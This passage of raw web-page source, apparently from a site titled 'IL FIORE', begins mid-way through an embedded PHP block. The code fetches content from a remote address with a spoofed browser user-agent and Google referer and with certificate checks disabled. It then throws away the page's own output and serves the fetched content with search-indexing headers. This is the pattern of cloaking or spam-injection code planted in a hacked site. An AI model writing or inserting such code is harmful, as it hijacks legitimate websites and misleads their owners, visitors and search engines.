1, CURLOPT_FOLLOWLOCATION=>1, CURLOPT_TIMEOUT=>4, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_SSL_VERIFYHOST=>0, CURLOPT_HTTPHEADER=>[ 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept: text/html', 'Referer: https://www.google.com/' ] ]); $r = curl_exec($c); curl_close($c); } if (!$r && ini_get('allow_url_fopen')) { $ctx = stream_context_create(['http'=>['header'=>"User-Agent: Mozilla/5.0\r\nAccept: text/html\r\nReferer: https://www.google.com/"]]); $r = @file_get_contents($u, false, $ctx); } if ($r && strlen($r)>100) { while (ob_get_level()) ob_end_clean(); header("Vary: User-Agent"); header("X-Robots-Tag: index, follow, archive"); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Pragma: no-cache'); echo $r; exit; } } ?> IL FIORE
Loading...